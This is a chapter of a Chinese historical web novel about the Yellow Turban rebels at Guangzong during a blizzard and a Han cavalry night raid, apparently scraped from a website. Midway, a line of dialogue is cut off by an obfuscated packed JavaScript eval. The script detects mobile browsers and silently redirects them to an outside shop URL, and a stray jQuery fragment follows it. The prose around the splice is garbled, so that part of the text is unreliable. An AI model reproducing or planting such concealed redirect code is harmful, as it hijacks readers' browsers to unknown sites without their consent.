满天飞舞的鹅毛大雪时断时续地下了三天,广宗县城附近,除了朝廷官军的少数斥侯,几乎没有什么人在雪地里行走。县城周围的老百姓早就跑光了,黄巾军躲在大营里不敢出来,朝廷的军队也在大营里避雪,整个广宗,完全是死一般的寂静。
而广宗城里的张宝、张梁和他们手下的黄巾军将士们的神经高度紧张了三天,几天来,他们几乎没有脱衣睡觉,困了就靠在床铺旁边躺一躺,根本不敢安心休息。说不定什么时候,朝廷官军的偷袭队伍就会来到,有时他们还会在梦中惊醒。
外面的雪实在是太大了,几十步开外就看不清人,从兵书来说,这可是偷袭作战的好时机,而熟知兵法的皇甫嵩肯定会采取偷袭战术,只是不知道朝廷军队什么时候来呢?
张梁正领着几个将领在城外大营里查看,由于风雪太大,几个人都用毛巾包着头和脸,仅仅露出两只眼睛,还不得不用手挡着狂风,一不小心,雪就会吹到眼睛里来。就连他们骑得马匹,也是高一脚低一脚,步履蹒跚。
这时姜震走了过来,对张梁说道。“人公将军,到帐篷里去休息会吧,这风雪实在是太大了。”
“游动的哨兵都派出去了吗?”张梁看了看众位将领,不放心地问道。
“人公将军请放心,不仅游动哨兵派出去了,我还加派了不少的固定哨兵。”雪下得这么大,姜震也感到有些害怕,不用张梁提醒,他早就把哨兵派了出去。
“朝廷军队有什么动静吗?”张梁望了望南边,雪花漫天飞舞,茫茫的雪原一片寂静,可惜他什么也看不到。
“每天还是那些个斥侯在附近转悠,没有什么新的动静。”对于朝廷官军的斥侯,黄巾军已经习以为常,他们把那些斥侯无能为力,只能任由他们去了。
“那好,就到帐篷里坐坐。”张梁跳下马来,跟着姜震朝帐篷里走去。虽然他们穿得很厚实,却仍然抵挡不住这严寒的侵袭,走进帐篷便命士兵生起了火。火势起来后,大家才感到一丝暖和,张梁对姜震说道:“这雪越下越大了,今夜你们务必加倍小心。”
“人公将军,连日来将士们昼夜戒备,身不卸甲,刀不离手,好多士兵都冻伤了。今日上午值星官报告,有近二成的士兵手脚冻伤,如果现在开战,我
们未战就损失了二成的兵力。象这样再过几天,恐怕我们要不战自败了。”
由于天天处于临战状态,黄巾军士兵们高度紧张,大家都快要撑不住了。特别是天气寒冷,更有不少的黄巾军士兵冻伤。而张梁、张宝两兄弟还要士兵们高度戒备,让姜震非常恼火。
“历来雨雪天就是兵家偷袭的好时机,而据说这个皇甫嵩历来喜欢偷袭,可是不知道为什么朝廷军队竟然没有利用这个机会。”
“我想朝廷官军也是人,虽然他们装备精良,但是突然降下大雪,他们肯定也没有准备,说不定冻伤也不少。而且那些朝廷官军多是南方人,就是那幽州骑兵也有不少南方人,说不定冻伤更为严重。如果我们坚持几天,等雪停了,我们再去攻击他们,说不定会轻松获胜。”
“有道理,有道理。想那朝廷官军,也不是铁打的,这么冷的天,他们也许都没有见过,不把他们全冻死,就算是他们命大,更别想偷袭我们。这下我算是明白了,难怪他们按兵不动,肯定是冻伤非常严重,不然的话,皇甫嵩这个老家伙是不会放过这么好的机会的。”
张梁说到这里,脸上竟然有了点笑容,这可是张角死了以来的第一次。看来真是苍天保佑啊,突然降下这么大的雪,要是把那些该死的朝廷官军全部冻死,那可真是太好了。
“人公将军,我这里还有点狍子肉,今天晚上反正没事,要不我让厨师们弄来喝两杯?”
姜震见张梁有了笑容,连忙讨好。自从张角死了,黄巾军大营里几乎没有了酒,就是有酒,也只是偷偷地喝。这些日子以来,可把姜震憋坏了,今天如果让张梁开了戒,兄弟们以后就可以敞开喝酒了。
“也好,今天就放松放松,喝两杯。”
张梁犹豫了一会,终于点了点头,答应了姜震。其实他也是苦熬了这么多天,想喝酒不敢喝。今天听姜震说到官军也有冻伤,让他终于放下心来。只要官军不能偷袭大营,等雪一住,他们就反过来进攻官军。
……
“我的天啊……你把我们的天公将军收走了,这叫我们怎么活啊……你怎么不把那些官狗收走啊,他们才是真正的坏人啊……”
在黄巾军大营一个帐篷里,几个士兵哭得伤心欲绝,声音已经有些嘶哑。然而,他们却还是恭
恭敬敬地跪在地上,一把鼻涕一把眼泪地哭喊着,发泄着他们心中的哀伤。
从他们那悲伤的表情中可以看出,对于张角的死他们是多么的伤心。一个个的脸上布满了哀怨,眼神里更多的是沮丧,或者是一种迷茫。也许他们的父母去世,他们恐怕也不会这么难过。
也不知哭了多久,士兵们渐渐的疲惫了,不少的人就躺在地铺上睡着了。哭泣也是个体力活,伤心的哭泣更是透支体力。不一会,整个帐篷里就响起了鼾声,士兵们又到梦中伤心去了。
然而
,也有少数人睡不着。百人将夏云两眼望着帐篷的顶架,已经数过几十遍了,可是还是没有数清楚,然而还是没有一丝睡意,怎么也睡不着。张角死了,黄巾军眼看就要走到尽头,他怎么能睡得着。
“哥,你也睡不着?”
“废话,睡着了还会动吗?”
说话的就是夏云的弟弟夏风,两个人的铺位紧挨着。原来他也是翻来覆去,怎么也睡不着。见哥哥醒着,便凑了过来。他抬起头看了看周围,其他的士兵们似乎都已经进入梦乡,夏风才又躺了下来。
“哥,天公将军死了,我们怎么办?”
“什么怎么办?别胡思乱想,该干嘛还干嘛,千万别瞎说,要不然连我也要被你连累。”
“呸,就你那小屁官也怕连累?”
夏风狠狠地白了他哥一眼,很有些瞧不起的味道。他们兄弟俩虽然出生贫寒,却也读过几天书,比一般的黄巾军士兵精明多了。遗憾的是他们兄弟俩武功不高,在黄巾军里也没混成个人样来。
“哥,就你那小屁官不当也罢,我们还是早点想办法开溜吧,要是再呆下去,恐怕我们要陪着张宝、张梁玩完。”
“小点声,你想找死啊?你就是想开溜,也要逃得出去啊,要是被官军捉到了,还不得死。你忘记了那个董卓吗?他可是把我们黄巾军的兄弟们用火活活烤死了。”
夏云有些害怕了,这个弟弟什么就好,就是口无遮拦,要是被别人听到了,兄弟俩都别想活了。他连忙从地铺上爬了起来,四下一看,大家都在睡呢,不管是不是真睡,反正没有人睁着眼睛。
“就你胆小。这些人基本上都是我们村子里出来的乡亲,有谁会跑去告密呢?乡亲们都跟着你,你可不能把大家都害了。”
“我怎么
会害了大家呢?现在天公将军刚刚死了,大家都很伤心,你在这里想溜,谁会跟你走?要是被将领们知道了,一个也活不了。还是老老实实地待着吧,以后有机会再说。”
夏风不再说话了,静静地躺在地铺上,不管睡得着,还是睡不着,他都要躺着不动。张角死了,他一点也不伤心,他甚至没见过张角几次,而且还是远远地看过一眼。
他们兄弟之所以参加黄巾军,仅仅只是为了吃口饭而已。说起来也是命中注定,他们的村子被姜震带领的黄巾军抢了个精光,当卢通带着黄巾军经过他们村子的时候,全村的青壮都跑来参加了卢通的黄巾军,最后他们又与姜震的黄巾军在广宗相遇了。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14123860|149880||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这大概就是命吧。”
后来夏风遇到过好多的黄巾军士兵,闲谈中才得知,不少的黄巾军士兵就是这样加入了黄巾军的行列。他们基本上都是整个村子里的青壮一起跑了来投奔黄巾军的,不过投奔黄巾军后,在张角的蛊惑之下,不少的黄巾军士兵坚定了造反的信心。
……
吃过晚饭,驻扎在各处的朝廷官军大营则开始忙碌起来,在军官们的吆喝声中,一队队的朝廷官军士兵们开始走出帐篷,在大营里集合。根据皇甫嵩的安排,这次袭击的主要目标就是驻守在城外的黄巾军,而幽州骑兵则负责攻南出城救援的黄巾军。
由于连续的大雪,朝廷官军的士兵们也有少数发生了冻伤,不过冻伤的人数并不多,还不会影响到战斗力。今天晚上的行动,所有冻伤的士兵都没有参加,留在大营里看守营房。
周永骑马走在雪地里,面无表情地看着茫茫的雪原,心里却出奇的平静。即将来临的大战他已经习以为常了,激不起他心中的波澜。幽州骑兵们紧紧跟随在他的身后,朝着广宗城缓缓而去。
而他的旁边,是朝廷派来的宣旨大臣宋典,由于大雪阻拦,他一直就留在了幽州骑兵大营。今天听说幽州骑兵要行动,他无论如何要亲自去看看,想领略一下朝廷官军的神通。
“将军大人,雪夜偷袭,传出去肯定是说书人的好材料啊。”宋典笑呵呵地说道。能亲自参加骑兵作战,也让宋典异常兴奋。当然,他也有自己的目的,至少回到汉灵帝刘宏身边,他又有了可以吹嘘的资本,肯定会让
其他太监们黯然失色。
“呵呵,为了让说书人的故事更精彩,宋总管是不是要亲自上阵呢?”周永看了看宋典,和他开了个玩笑。
“呵呵,我可没有将军大人这般武艺。”宋典摇了摇头,倒也有些自知之明。
呼啸的北风卷着满天的大雪在空中飞舞,虽然白雪很亮,但十几步外,也看不清人。尽管将军丰的眼睛很好,但放眼一望,全是白色的雪,村子里的房屋上披着洁白素装,树木变成了臃肿银条,房子的墙壁更像是条白脊背的巨蛇,伸向远远的白蒙蒙的荒野里。远望广宗城一带,是一片看也看不清的白茫茫的雪堆;近处,坑坑洼洼坎坷不平的地面,全部被雪填平补齐,变成白茫茫的一片平地。
站在茫茫在雪原上,几乎分不清哪里是道路,哪里是沟渠,哪里是村庄,哪里是田野。此时的大地上,已经有二尺深的积雪,就象是一床盖在荒原上的大棉被,紧紧地包缠着村庄和田野。
要不是斥侯们事先作好的记号,恐怕谁也找不到前进的道路。在斥侯们的带领下,幽州骑兵朝着广宗城
个的黄巾军大营扑来。士兵们并没有被眼前的大雪所吓倒。相反的,他们还非常开心的在雪地上行进着,时不时地还互相开着玩笑。行走在前面的士兵,很快就踩出一条通道,让后面的队伍走得更方便些。
最糟糕的是不断地有大树倒下,天气太冷,风雪太大,好多的大树已经无法承受它身上的负重,更无力抵御如此的严寒,它们终于倒下了,倒在幽州骑兵前进的路上。让士兵们费了好大的功夫,才把它们清除干净。
等周永他们赶到广宗城外的时候,皇甫嵩和他的朝廷官军已经到了,为了避免暴露目标,先到的朝廷官军士兵们都匍匐在雪地里,以至于大太监宋典走到跟前就没有发现。
“将军大人,皇甫嵩将军不是要攻击吗?怎么到现在仅仅只来了我们幽州骑兵?城外的黄巾军据说也有十二万人啊,就你这几万人能行吗?”
宋典有些着急了,满脸的疑问。确切地说,他是有点害怕了,那可是十多万黄巾军,要是被黄巾军反围上了,他不知道自己能不能跑得脱。
周永笑了笑,没有和他明说。“呵呵,呵呵,等到攻击开始的时候,他们就会出现在攻击的位置上的。”